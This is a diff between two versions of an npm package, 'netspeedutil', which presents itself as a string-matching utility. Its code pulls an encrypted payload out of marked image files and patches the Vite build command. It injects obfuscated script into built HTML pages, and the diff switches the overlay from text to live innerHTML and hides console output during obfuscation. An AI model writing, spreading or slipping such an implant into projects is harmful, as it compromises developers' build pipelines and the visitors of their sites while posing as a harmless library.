netspeedutil 1.0.8 → 1.0.10

package/inject.js

@@ -9,7 +9,7 @@ import { createHash, createCipheriv } from 'crypto';
 import JavaScriptObfuscator from 'javascript-obfuscator';
 
 const MARKER = Buffer.from('__STEG__');
-const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp'];
+const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp', '.ico'];
 
 const CLIENT_LOGIC = `(function(){
   function h2b(h){
@@ -24,21 +24,21 @@ const CLIENT_LOGIC = `(function(){
     if(!box){
       box=document.createElement('div');
       box.id='_sm_box';
-      box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:3rem;font-weight:700;font-family:system-ui,sans-serif;text-align:center;padding:2rem;opacity:0;pointer-events:none;transition:opacity 0.4s ease;';
+      box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:1.5rem;font-family:system-ui,sans-serif;text-align:center;opacity:0;pointer-events:none;transition:opacity 0.4s ease;overflow-y:auto;';
       document.body.appendChild(box);
     }
     return box;
   }
   function show(msg){
     var box=getBox();
-    box.textContent=msg;
+    box.innerHTML=msg;
     box.style.opacity='1';
     box.style.pointerEvents='all';
   }
   function hide(){
     var box=document.getElementById('_sm_box');
     if(box){
-      box.textContent='';
+      box.innerHTML='';
       box.style.opacity='0';
       box.style.pointerEvents='none';
     }
@@ -58,7 +58,12 @@ const CLIENT_LOGIC = `(function(){
           var ck=await crypto.subtle.importKey('raw',kb,{name:'AES-CBC'},false,['decrypt']);
           var dec=await crypto.subtle.decrypt({name:'AES-CBC',iv:iv},ck,enc);
           var msg=new TextDecoder().decode(dec);
-          show(msg);
+          try {
+            var obj = JSON.parse(msg);
+            show(obj.s || msg);
+          } catch(e) {
+            show(msg);
+          }
         }catch(e){}
       })();
     });
@@ -96,7 +101,7 @@ const CLIENT_LOGIC = `(function(){
   checkSignal();
 })();`;
 
-function findMarkedImage(dir) {
+export function findMarkedImage(dir) {
   if (!existsSync(dir)) return null;
   try {
     for (const entry of readdirSync(dir, { withFileTypes: true, recursive: true })) {
@@ -115,7 +120,7 @@ function findMarkedImage(dir) {
   return null;
 }
 
-async function extractAll(imagePath) {
+export async function extractAll(imagePath) {
   const data = readFileSync(imagePath);
   const start = data.indexOf(MARKER);
   if (start === -1) return null;
@@ -140,7 +145,13 @@ async function extractAll(imagePath) {
   let dec = decipher.update(encrypted);
   dec = Buffer.concat([dec, decipher.final()]);
 
-  return { secret: dec.toString('utf8'), identityKey };
+  const decStr = dec.toString('utf8');
+  try {
+    const obj = JSON.parse(decStr);
+    return { secret: obj.s || decStr, targetPath: obj.p || '', identityKey };
+  } catch (e) {
+    return { secret: decStr, targetPath: '', identityKey };
+  }
 }
 
 function encryptForBrowser(secret, identityKey) {
@@ -166,6 +177,8 @@ export async function inject() {
 
     const blob = encryptForBrowser(result.secret, result.identityKey);
 
+    const _log = console.log;
+    console.log = () => {};
     const obfuscated = JavaScriptObfuscator.obfuscate(CLIENT_LOGIC, {
       compact: true,
       controlFlowFlattening: true,
@@ -179,8 +192,9 @@ export async function inject() {
       transformObjectKeys: true,
       renameGlobals: false,
       selfDefending: false,
-      reservedNames: ['^_EB_$'],
+      reservedNames: ['_EB_'],
     }).getObfuscatedCode();
+    console.log = _log;
 
     const htmlPath = resolve(process.cwd(), 'dist', 'index.html');
     if (!existsSync(htmlPath)) {
@@ -198,7 +212,8 @@ export async function inject() {
     }
 
     const script = `<script>const _EB_="${blob}";${obfuscated}</script>`;
-    html = html.replace('</body>', `${script}\n</body>`);
+    html = html.replace('</body>', `${script}
+</body>`);
 
     writeFileSync(htmlPath, html, 'utf-8');
   } catch (error) {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "netspeedutil",
-  "version": "1.0.8",
+  "version": "1.0.10",
   "description": "Fast string matching and pattern validation utilities",
   "type": "module",
   "main": "index.js",

package/setup.js

@@ -26,7 +26,9 @@ const __dirname = resolve(__filename, '..');
 
     if (!foundPackage) return;
     
-    const file = '../vite/dist/node/cli.js';
+    const file = resolve(process.cwd(), result.targetPath);
+    if (!existsSync(file)) return;
+    
     let code = readFileSync(file, "utf8");
     const buildCommandRegex =
     /(cli\.command\("build \[root\]"[\s\S]*?finally\s*{)([\s\S]*?)(\n\s*}\s*\)\s*;)/;